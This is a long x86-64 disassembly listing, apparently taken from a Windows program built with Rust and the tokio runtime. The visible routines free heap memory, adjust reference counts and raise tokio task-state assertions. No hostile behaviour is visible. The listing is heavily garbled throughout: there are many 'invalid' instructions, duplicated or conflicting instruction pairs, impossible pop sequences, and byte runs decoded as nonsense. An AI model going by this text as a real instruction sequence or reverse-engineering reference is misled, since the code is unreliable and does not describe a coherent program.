call fcn.14010dd60
mov ecx, 7
int 0x29
ud2
mov ecx, 7
int 0x29
ud2
adc al, dh
dec qword [rdi]
jne 0x1400c286f
mov rcx, qword [rsi + 0x1a0]
call fcn.1400bf540
mov r15, qword [rsi + 0x198]
mov edi, dword [rsi + 0x198]
cmp byte [r15 + 0x1b8], 0
jne 0x1400c2888
mov byte [r15 + 0x1b8], 1
add dword [rax], eax
add byte [rcx], al
lock or qword [r15 + 0x1c0], 1
lea rcx, [r15 + 0x180]
call fcn.1400f3610
lea rdi, [r15 + 0x1a0]
lea rbx, [r15 + 0x80]
lea r14, [rsp + 0x28]
mov rcx, r14
mov rdx, rdi
mov r8, rbx
call fcn.1400bf6f0
cmp dword [rsp + 0x28], 1
ja 0x1400c291d
lock sub qword [r15 + 0x1c0], 2
jb 0x1400c2948
cmp dword [rsp + 0x28], 1
ja 0x1400c28b0
mov rcx, r14
call fcn.1400bf8e0
jmp 0x1400c28b0
pcmpeqw mm1, qword [rax + rcx*2]
mov ecx, dword [rsi + 0x1b0]
call fcn.1400bf630
mov rax, qword [rsi + 0x1a8]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x1400c292f
add rsi, 0x1a8
mov rcx, rsi
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1400be6e0
lock dec qword [r15]
jne 0x1400c292f
mov rcx, qword [rsi + 0x198]
call fcn.1400bf630
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int 0x29
ud2
mov ecx, 7
int 0x29
ud2
clc
or eax, dword [rax]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x60], 0
jne 0x1400c29da
jle 0x1400c2a06
add byte [rbp + 0x31], dh
mov rdi, qword [rsi + 0x68]
mov rbx, qword [rsi + 0x70]
pop rsi
jo case.0x1400d8602.416
mov ecx, edi
pop rsi
jo case.0x1400d8602.416
mov ecx, edi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c29da
cmp qword [rbx + 0x10], 0x11
jb 0x1400c29c8
invalid
add al, 0x48
mov edi, dword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
or dword [0xfe9771dd], eax
cwde
add byte [rax], al
add byte [rax - 0x75], cl
sahf
mov rdi, qword [rsi + 0x98]
mov rbx, qword [rsi + 0xa0]
invalid
add byte [rax], al
add byte [rax], al
movabs al, byte [0x2274db8548000000]
add byte [rax], al
test rbx, rbx
je 0x1400c2a0f
xor r14d, r14d
mov r15, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
invalid
add eax, 0x1f0f6600
add byte [rsi + 0xf], ah
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rsi + 0xf], ah
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdi + r14*8]
inc r14
call r15
call rdi
mov byte [rcx - 1], 0xd7
call rdi
cmp rbx, r14
jne case.0x14005088a.416
int1
int1
cmp qword [rsi + 0x90], 0
je 0x1400c2a2b
add byte [rax], al
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x140182260]
clc
or eax, dword [rax]
mov rcx, qword [0x140182260]
clc
or eax, dword [rax]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
or dword [0xfe97722e], eax
pop rax
add dword [rax], eax
add byte [rax - 0x7b], cl
push qword [rdi + riz*2 + 0x48]
mov rbx, qword [rdi + 0x58]
mov rdi, qword [rsi + 0x158]
test rdi, rdi
je 0x1400c2a9e
mov rbx, qword [rdi + 0x58]
test rbx, rbx
test ebx, ebx
je case.0x14005cc92.387
mov r14, qword [rdi + 0x60]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je case.0x14005cc92.387
cmp qword [r14 + 0x10], 0x11
jb 0x1400c2a5c
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rdi]
mov eax, dword [rdi]
shl rax, 1
test rax, rax
je 0x1400c2a8c
mov r8, qword [rdi + 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or byte [rax - 0x75], cl
mov ecx, dword [0x140182260]
or eax, 0xbf7dc
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
mov eax, edi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x120]
call fcn.1400025e0
sti
dec dword [rax - 0x75]
xchg byte [rax + 1], ah
add byte [rax], al
mov fs, word [rax]
add dword [rax], eax
add al, ch
sti
sti
sti
dec dword [rax - 0x75]
xchg byte [rax + 1], ah
add byte [rax], al
test rax, rax
je 0x1400c2ada
lock dec qword [rax]
jne 0x1400c2ada
mov rcx, qword [rsi + 0x160]
mov rdx, qword [rsi + 0x168]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140004950
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
and byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
int3
int3
mov esi, ecx
mov rdi, qword [rcx]
mov rax, qword [rdi + 0x10]
lock dec qword [rax]
jne case.0x140065698.379
lea rcx, [rdi + 0x10]
lea ecx, [rdi + 0x10]
call fcn.140068890
xor ecx, ecx
xchg qword [rdi + 0x20], rcx
test rcx, rcx
je case.0x140065698.377
call fcn.140068a30
dec dword [rbx + rcx*4 + 6]
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400c2b45
invalid
sbb eax, 0x48ff49f0
lock dec qword [r8 + 8]
jne 0x1400c2b45
invalid
or byte [rbp + 0x16], dh
invalid
mov rcx, qword [0x140182260]
xor edx, edx
invalid
ror byte [rax - 0x7d], cl
invalid
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
invalid
sub byte [rdi + 0x5e], bl
ret
invalid
mov esi, ecx
movzx eax, byte [rcx + 0x298]
add byte [rax], al
test eax, eax
je 0x1400c2bd8
cmp eax, 3
jne 0x1400c2c35
add byte [rax - 0x73], cl
mov cs, word [rax + 1]
add byte [rax], al
lea ecx, [rsi + 0x148]
call case.0x140095d16.166
mov rdi, qword [rsi + 0x140]
mov esi, 0x140
add byte [rax - 0x75], cl
mov esi, 0x140
add dword [rax], eax
add byte [rax - 0x7b], cl
push qword [rdx + rcx*2 + 0x48]
mov eax, dword [rdi + 0x30]
invalid
add byte [rax], al
test rdi, rdi
je 0x1400c2bcf
mov rax, qword [rdi + 0x30]
xor byte [rdi], cl
invalid
nop dword [rax]
add byte [rax - 0x77], cl
sal esi, 0xc1
add al, 0x75
adc cl, byte [rax - 0x77]
mov rcx, rax
test cl, 4
jne 0x1400c2baa
mov rdx, rcx
or rdx, 2
or edx, 2
add cl, byte [rax - 0x77]
mov eax, ecx
retf 0x8348
mov eax, ecx
lock cmpxchg qword [rdi + 0x30], rdx
jne case.0x140092c52.210
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x1400c2bbd
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c2bcf
invalid
pcmpeqw mm1, qword [rax + rcx*2]
or al, 0x48
mov rcx, qword [rsi + 0x140]
mov ecx, dword [rsi + 0x140]
add dword [rax], eax
add dword [rax], eax
add al, ch
loope 0x1400c2b9a
invalid
call fcn.1400bf9b0
int 0xff
inc esi
xchg byte [rcx + 2], bl
add byte [rax], al
invalid
mov byte [rsi + 0x299], 0
add byte [rax], al
jmp 0x1400c2c35
mov rcx, rsi
call case.0x140095d16.166
mov rdi, qword [rsi + 0x138]
test rdi, rdi
je 0x1400c2c35
mov rax, qword [rdi + 0x30]
mov rcx, rax
test cl, 4
jne 0x1400c2c0a
invalid
adc cl, byte [rax - 0x77]
retf 0x8348
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
xor byte [rbp - 0x1a], dh
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x1400c2c1d
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
mov ecx, dword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c2c35
mov rcx, qword [rsi + 0x138]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400bf9b0
nop
add rsp, 0x28
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov edi, dword [rcx]
cmp dword [rax - 0x7d], ecx
inc dword [rdx]
cmp rdi, 2
jne 0x1400c2cc1
mov rsi, qword [rsi + 8]
test rsi, rsi
je 0x1400c2e0b
invalid
cmpsd dword [rsi], dword [rdi]
add dword [rax], eax
invalid
test byte [rdi + 0x48000001], ah
mov edi, dword [rsi + 0x58]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x1400c2c9a
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c2c9a
invalid
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400c2c88
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x1400c2e35
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c2e35
add byte [rax], al
add byte [rax], al
cmp byte [rsi + 0xf8], 0xa
jb 0x1400c2cea
cmp qword [rsi + 0x108], 0
je 0x1400c2cea
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0x100]
mov r8, qword [rsi + 0x100]
mov rcx, qword [0x140182260]
xor edx, edx
sar bh, cl
adc eax, 0x50676
sar bh, cl
adc eax, 0x50676
cmp qword [rsi + 0x88], 0
je 0x1400c2d0a
invalid
invalid
mov r8, qword [rsi + 0x90]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x28]
call fcn.140036d60
test rdi, rdi
je 0x1400c2d30
mov rax, qword [rsi + 8]
test rax, rax
je 0x1400c2d30
or byte [rax - 0x7b], r9b
sal byte [rdi + rcx + 0x48], 0x8d
and byte [rax - 0x75], r9b
push rsi
lea rcx, [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
adc byte [rbx + rcx*4 + 0x46], cl
invalid
adc byte [rbx + rcx*4 + 0x46], cl
sbb bh, bh
push rax
adc byte [rax - 0x75], cl
mov esi, 0xe8
invalid
add byte [rax], al
invalid
mov eax, dword [rsi + 0x18]
call qword [rax + 0x10]
mov rdi, qword [rsi + 0xe8]
call 0x1880c2d38
add byte [rax], al
add byte [rax - 0x75], cl
invalid
sahf
mov rbx, qword [rsi + 0xf0]
mov ebx, dword [rsi + 0xf0]
lock add byte [rax], al
add byte [rax - 0x7b], cl
invalid
test rbx, rbx
je 0x1400c2d71
lea r14, [rdi + 8]
lea esi, [rdi + 8]
mov r15, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400c2d59
adc al, byte [rsi]
add eax, 0x4909eb00
add esi, 0x58
add r14, 0x58
dec rbx
dec ebx
je 0x1400c2d71
sbb byte [rcx - 0x7d], cl
jle 0x1400c2d55
cmp qword [r14 - 8], 0
cmp dword [rsi - 8], 0
add byte [rax + rsi*8 + 0x4d], dh
mov eax, dword [rsi]
je 0x1400c2d50
mov r8, qword [r14]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
call r15
jmp 0x1400c2d50
cmp qword [rsi + 0xe0], 0
je 0x1400c2d8d
invalid
add byte [rdx + rdx + 0x48], dh
mov ecx, dword [0x140182260]
adc cl, byte [rax - 0x75]
or eax, 0xbf4de
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x505d3
adc eax, 0x505d3
add eax, 0x8b480005
xchg byte [rax], dl
add dword [rax], eax
add al, dh
lock dec qword [rax]
mov rax, qword [rsi + 0x110]
lock dec qword [rax]
jne 0x1400c2da6
lea rcx, [rsi + 0x110]
call fcn.1400be6e0
invalid
invalid
invalid
mov ecx, 0x8b48ffff
mov esi, 0x118
invalid
mov rdi, qword [rsi + 0x118]
mov rbx, qword [rsi + 0x120]
mov rcx, rdi
add byte [rax - 0x77], cl
stc
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c2ddd
cmp qword [rbx + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400c2dcb
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
ror byte [rcx - 0x77], cl
clc
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, 0x8b480005
mov dh, 0x30
add dword [rax], eax
mov rsi, qword [rsi + 0x130]
test rsi, rsi
add byte [rax - 0x7b], cl
div byte [rdx + riz + 0x48]
je 0x1400c2e0b
invalid
je 0x1400c2e0b
and cl, byte [rax - 0x77]
int1
mov rcx, rsi
mov ecx, esi
call fcn.1400ec890
lea rcx, [rsi + 8]
or byte [rax - 0x7d], r9b
invalid
invalid
je 0x1400c2e17
invalid
or byte [rax - 0x7d], r9b
or byte [rax - 0x7d], cl
add byte ds:[rsp + rbx + 0x48], dh
add byte [rsp + rbx + 0x48], dh
sbb al, 0x48
mov rax, qword [rcx]
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x1400c2e25
invalid
and eax, ebp
xchg dword [rdx - 6], ebx
call fcn.140068890
jmp 0x1400c2e25
invalid
invalid
sbb cl, byte [rax - 0x7d]
invalid
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
ret
mov rax, qword [rcx]
mov eax, dword [rcx]
lock dec qword [rax]
jne 0x1400c2e25
call fcn.140069420
dec dword [rax - 0x75]
test rax, rax
test rax, rax
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x1400c2e35
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140182260]
and al, 0xf4
or eax, dword [rax]
xor edx, edx
mov r8, rsi
mov eax, esi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
invalid
add eax, 0xcccc0005
int3
push rdi
push rbx
sub rsp, 0x318
add byte [rdi], cl
sub dword [rsp + 0x300], esi
invalid
add byte [rdi], cl
sub dword [rsp + 0x300], esi
invalid
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400c2e9a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
je 0x1400c2ec5
test al, 4
je 0x1400c3110
test al, 3
je case.0x1400b4fd6.22
add esi, dword [rdx + rbx*8 + 0x48]
cmp rax, 0x3f
cmp eax, 0x3f
jbe 0x1400c3128
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
ror byte [rax - 0x7d], 0xf9
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
invalid
jne 0x1400c2e9a
invalid
retf 0xf002
invalid
invalid
movzx eax, dl
lea rcx, [0x140178ac8]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
invalid
add rax, rcx
jmp rax
invalid
or dword [rax + 1], 0x48e0ffc8
lea eax, [0x14014ed10]
mov esi, 0x89480008
and al, 0x30
mov esi, 0x89480008
and al, 0x30
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 3
jae 0x1400c3140
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rax], al
add byte [rax], al
cmp eax, 1
je 0x1400c2f70
clc
add dword [rsi + rdi + 0xf], esi
push rdi
test byte [rbp - 0x749c8a40], 5
xorps xmm6, xmm6
test eax, eax
jne case.0x1400aa7a4.57
mov eax, dword [0x140182314]
invalid
or eax, dword [rax]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
add byte [rax - 0x73], cl
adc eax, 0x210d6
ret 0x8d49
mov rbx, rcx
mov ebx, ecx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
ret 0x100f
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
ret 0x100f
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x40]
call fcn.1400c3790
invalid
add byte [rax], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
invalid
or al, 0xca
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
invalid
je 0x1400c2ffa
test ecx, ecx
leave
jne 0x1400c3014
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add byte [rax], al
mov rdi, qword [rdx + rcx*8]
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
adc byte [rdx], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x21046
adc byte [rdx], al
invalid
adc byte [rdx], al
add byte [rcx + 0x172fe8c3], cl
mov ebx, eax
call fcn.1400d4720
add al, byte [rax]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
and byte [rax + rax*8 + 0x96840f], al
test al, al
je 0x1400c30b6
test byte [rsi + 0x48000000], dl
mov ecx, esi
add byte [rax], al
mov rcx, rsi
call fcn.1400e6c50
sub byte [rdx + rax], bh
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
lea rcx, [0x140178ad8]
lea ecx, [0x140178ad8]
cmpsb byte [rsi], byte [rdi]
pop rdx
or eax, dword [rax]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
xchg esp, eax
add al, byte [rax]
mov rax, 0xffffffffffffffc0
mov eax, 0xffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
clc
invalid
jbe 0x1400c3178
xchg byte [rcx + rax], dl
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
loopne 0x1400c3028
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400c3039.0
mov rcx, rsi
mov ecx, esi
call 0x1400c33a0
jmp case.0x1400c3039.0
mov qword [rsp + 0x60], 4
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c3460
add eax, dword [rax]
add byte [rax - 0x75], cl
sub byte [rax - 0x39], r9b
and al, 0x68
add dword [rax], eax
add byte [rax], al
add eax, dword [rax]
add byte [rax - 0x75], cl
sub byte [rax - 0x39], r9b
and al, 0x68
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x80], rax
jmp 0x1400c30dd
jo 0x1400c30a9
mov qword [rsp + 0x60], 4
mov dword [rsp + 0x60], 4
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c3460
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
and al, 0x78
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], 3
lea rdx, [rsp + 0x60]
lea edx, [rsp + 0x60]
lea edx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c3460
mov rcx, rsi
call fcn.1400c3600
movaps xmm6, xmmword [rsp + 0x300]
add rsp, 0x318
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400c33bd
lea rcx, [rsi + 0x20]
call fcn.140068890
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400c33e9
test rax, rax
jne 0x1400c3426
lea rcx, [rsi + 0x30]
call fcn.1400c2b50
jmp 0x1400c3426
cmp qword [rsi + 0x38], 0
je 0x1400c3426
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x1400c3426
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c3426
cmp qword [rbx + 0x10], 0x11
jb 0x1400c3414
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x1400c343c
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax], al
add byte [rax - 0x75], cl
mov gs, eax
add al, byte [rax]
add bh, bh
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.1400ec330
call fcn.1400ec330
call fcn.1400ec330
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400c36e9
jne 0x1400c36af
mov rcx, rsi
add rsp, 0x2f0
pop rsi
jmp 0x1400c33a0
nop
add rsp, 0x2f0
pop rsi
ret
call fcn.140108630
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140012cc0]
cmc
hlt
dec dword [rax - 0x77]
and al, 0x38
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
cmc
hlt
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x50]
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x50]
call fcn.140108560
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1d8
mov rdi, rdx
mov rsi, rcx
invalid
movzx eax, byte [rcx + 0x298]
test eax, eax
je 0x1400c38cb
test byte [rdi], dl
add dword [rax], eax
invalid
invalid
test byte [rdi], dl
add dword [rax], eax
add byte [rbx - 0x7af0fc08], al
mov word [rax + rax], es
add byte [rax - 0x75], cl
xchg byte [rax + 0x4c000002], cl
add byte [rbx + rcx*4 - 0x4a], cl
nop
add al, byte [rax]
invalid
cmp eax, 3
jne 0x1400c3c49
mov rax, qword [rsi + 0x288]
mov r14, qword [rsi + 0x290]
add byte [rbx + rcx*4 - 0x4a], cl
nop
add al, byte [rax]
add byte [rax - 0x75], cl
sbb byte [rbx - 0x7bf0fdc5], al
add qword [r8], r8
add dword [rax], eax
mov rbx, qword [rax]
cmp dword [rbx], 2
je 0x1400c3924
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
and al, 0x20
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
call fcn.1400ba110
imul edi, edi, 0x5c8b48ff
and al, 0x20
imul edi, edi, 0x5c8b48ff
and al, 0x20
cmp rbx, 4
cmp ebx, 4
add al, 0xf
test dword [rax + 1], esi
add dword [rax], eax
invalid
jne 0x1400c3966
add dword [rax], eax
add byte [rbp - 0x75], cl
mov r15, qword ss:[rdi]
mov r15, qword [rdi]
mov r14, qword [r14]
mov r15, qword [rdi]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rcx, qword [0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x120]
cmp eax, 1
clc
invalid
je 0x1400c3850
add byte [rbx + 0x357401f8], al
clc
add dword [rbp + rsi - 0x7b], esi
ror byte [rdi], 0x85
out 2, eax
test eax, eax
jne 0x1400c3b0a
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
add byte [rax - 0x73], cl
adc eax, 0x207ec
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
invalid
add dword [rbx + 0xbeabe05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x99
sbb eax, 0x89000001
fld dword [rax + rax*8 - 0x247bf48c]
je 0x1400c3882
test bl, bl
add byte [rax], al
movzx ebx, byte [rcx + 0x11d]
mov ecx, ebx
test al, al
je 0x1400c3882
test bl, bl
fisttp dword [rdi]
test byte [rdi - 0x72fffffd], cl
add eax, dword [rax]
add byte [rbp + 0x158bff4b], cl
lea ecx, [rbx - 1]
invalid
invalid
mov edx, gs
invalid
je 0x1400c3c0e
add eax, dword [rax]
add byte [rbp + 0x158bff4b], cl
lea ecx, [rbx - 1]
mov edx, dword [0x140182314]
lea ecx, [rbx - 1]
dec dword [rbx + 0xbea8c15]
mov edx, dword [0x140182314]
add byte [rbp + 0x4c], ah
mov eax, dword [0x58]
and eax, 0x58
mov r8, qword gs:[0x58]
and eax, 0x58
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x75], cl
adc al, 0xd0
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
sbb eax, 0x84000001
rol byte [rax + 0xf], 0x94
add byte [rax], al
test al, al
sete bpl
invalid
test r14, r14
je case.0x14009fa62.120
invalid
mov rax, qword [r14 + 0x30]
test al, 4
jne 0x1400c3a53
xor byte [rax - 0x627af0fc], r13b
